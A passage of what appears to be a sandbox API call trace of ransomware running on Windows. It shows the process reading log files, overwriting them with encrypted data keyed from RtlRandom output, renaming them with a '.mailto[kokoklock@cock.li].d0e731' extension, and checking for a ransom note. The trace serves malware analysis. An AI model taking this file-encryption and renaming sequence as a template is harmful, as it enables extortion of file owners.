returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" [0081.122] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731" [0081.122] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.122] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.123] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl", dwFileAttributes=0x2020) returned 0 [0081.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.123] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.123] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.123] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c3c0) returned 1 [0081.123] RtlExitUserThread (Status=0x1) Thread: id = 1043 os_tid = 0x1750 [0081.125] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl")) returned 0x2020 [0081.126] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl", dwFileAttributes=0x20) returned 1 [0081.126] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.126] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x256bfd20 | out: lpFileSize=0x256bfd20*=8192) returned 1 [0081.126] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.126] ReadFile (in: hFile=0x458, lpBuffer=0x256bfcf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x256bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x256bfcf4*, lpNumberOfBytesRead=0x256bfcf0*=0x4, lpOverlapped=0x0) returned 1 [0081.128] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e298 [0081.128] NtQuerySystemTime (in: CurrentTime=0x256bfccc | out: CurrentTime=0x256bfccc*=132121176390216565) returned 0x0 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x4a73f567 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xb3dcca6d [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xee89683d [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x68c5e5a1 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x9535ca75 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x34177c00 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xd0a35658 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x50528e46 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x4170accd [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xbe857d4a [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x6302553a [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xd2de9854 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x1004ba53 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x68b3d36d [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xff4a199f [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xbc50f156 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xfd5a0e26 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x795a7292 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x1c74ed41 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x68d05183 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xb1afc571 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x1c05a874 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x82b6c9b4 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xb3621ab5 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xf8c91aa8 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x3cc13cd2 [0081.128] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x9d5d6af7 [0081.129] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xeab0d46e [0081.129] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xc5ecb183 [0081.129] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xeb1abf47 [0081.129] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0xc28ee934 [0081.129] RtlRandom (in: Seed=0x256bfcd8 | out: Seed=0x256bfcd8) returned 0x5ee093af [0081.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e2c0 [0081.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e2c0) returned 1 [0081.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.140] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x256bfccc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x256bfccc*=0x2000, lpOverlapped=0x0) returned 1 [0081.141] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x256bfc94 | out: lpNewFilePointer=0x0) returned 1 [0081.141] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x256bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x256bfcc8*=0x2000, lpOverlapped=0x0) returned 1 [0081.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e2c0 [0081.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e2c0) returned 1 [0081.141] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x256bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x256bfcc4*=0x20, lpOverlapped=0x0) returned 1 [0081.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.141] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x256bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x256bfcf0*=0x8, lpOverlapped=0x0) returned 1 [0081.141] WriteFile (in: hFile=0x458, lpBuffer=0x256bfd08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x256bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x256bfd08*, lpNumberOfBytesWritten=0x256bfcf0*=0x4, lpOverlapped=0x0) returned 1 [0081.142] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x256bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x256bfcf0*=0x4, lpOverlapped=0x0) returned 1 [0081.142] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x256bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x256bfcf0*=0x6c, lpOverlapped=0x0) returned 1 [0081.142] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x256bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x256bfcf0*=0x20, lpOverlapped=0x0) returned 1 [0081.142] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x256bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x256bfcf0*=0x4, lpOverlapped=0x0) returned 1 [0081.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.142] CloseHandle (hObject=0x458) returned 1 [0081.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.142] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" [0081.142] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731" [0081.142] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.143] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.143] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl", dwFileAttributes=0x2020) returned 0 [0081.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.143] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.143] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.144] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c290) returned 1 [0081.144] RtlExitUserThread (Status=0x1) Thread: id = 1044 os_tid = 0x1754 [0081.145] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl")) returned 0x2020 [0081.145] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl", dwFileAttributes=0x20) returned 1 [0081.145] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.146] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2573fbb4 | out: lpFileSize=0x2573fbb4*=12288) returned 1 [0081.146] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.146] ReadFile (in: hFile=0x458, lpBuffer=0x2573fb88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2573fb84, lpOverlapped=0x0 | out: lpBuffer=0x2573fb88*, lpNumberOfBytesRead=0x2573fb84*=0x4, lpOverlapped=0x0) returned 1 [0081.148] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e2c0 [0081.148] NtQuerySystemTime (in: CurrentTime=0x2573fb60 | out: CurrentTime=0x2573fb60*=132121176390372460) returned 0x0 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x72d47f40 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x54497cd0 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x144bb5c7 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x84dacba9 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x8916985d [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x461dae72 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x8e393dc5 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xa2f6a67b [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x45353dce [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xc305287d [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xaa3fea90 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x1f0ef863 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x37e509e1 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xbfbc2564 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xfb637687 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x5742a12b [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x43c2ebeb [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xeeef2002 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xf634515b [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x49658fb9 [0081.148] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xd8c63c7a [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xeac6d2b2 [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x8ea78c8e [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x9506da67 [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xf3c99fe0 [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x3d5ebe48 [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x8487d80e [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xf65678b [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xab170a25 [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x279927b7 [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0x99a94321 [0081.149] RtlRandom (in: Seed=0x2573fb6c | out: Seed=0x2573fb6c) returned 0xeca5bd48 [0081.160] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.160] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e2e8 [0081.160] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e2e8) returned 1 [0081.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.160] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.160] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2573fb60, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2573fb60*=0x3000, lpOverlapped=0x0) returned 1 [0081.161] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2573fb28 | out: lpNewFilePointer=0x0) returned 1 [0081.161] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2573fb5c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2573fb5c*=0x3000, lpOverlapped=0x0) returned 1 [0081.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e2e8 [0081.161] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e2e8) returned 1 [0081.161] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2573fb58, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x2573fb58*=0x20, lpOverlapped=0x0) returned 1 [0081.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.162] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2573fb84, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x2573fb84*=0x8, lpOverlapped=0x0) returned 1 [0081.162] WriteFile (in: hFile=0x458, lpBuffer=0x2573fb9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2573fb84, lpOverlapped=0x0 | out: lpBuffer=0x2573fb9c*, lpNumberOfBytesWritten=0x2573fb84*=0x4, lpOverlapped=0x0) returned 1 [0081.162] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2573fb84, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2573fb84*=0x4, lpOverlapped=0x0) returned 1 [0081.162] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2573fb84, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2573fb84*=0x6c, lpOverlapped=0x0) returned 1 [0081.162] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2573fb84, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x2573fb84*=0x20, lpOverlapped=0x0) returned 1 [0081.162] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2573fb84, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2573fb84*=0x4, lpOverlapped=0x0) returned 1 [0081.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.163] CloseHandle (hObject=0x458) returned 1 [0081.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.163] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" [0081.163] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731" [0081.163] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.173] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.173] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.173] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl", dwFileAttributes=0x2020) returned 0 [0081.173] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.173] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.173] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.173] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.173] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.174] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bc08) returned 1 [0081.174] RtlExitUserThread (Status=0x1) Thread: id = 1045 os_tid = 0x1758 [0081.147] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\users\\all 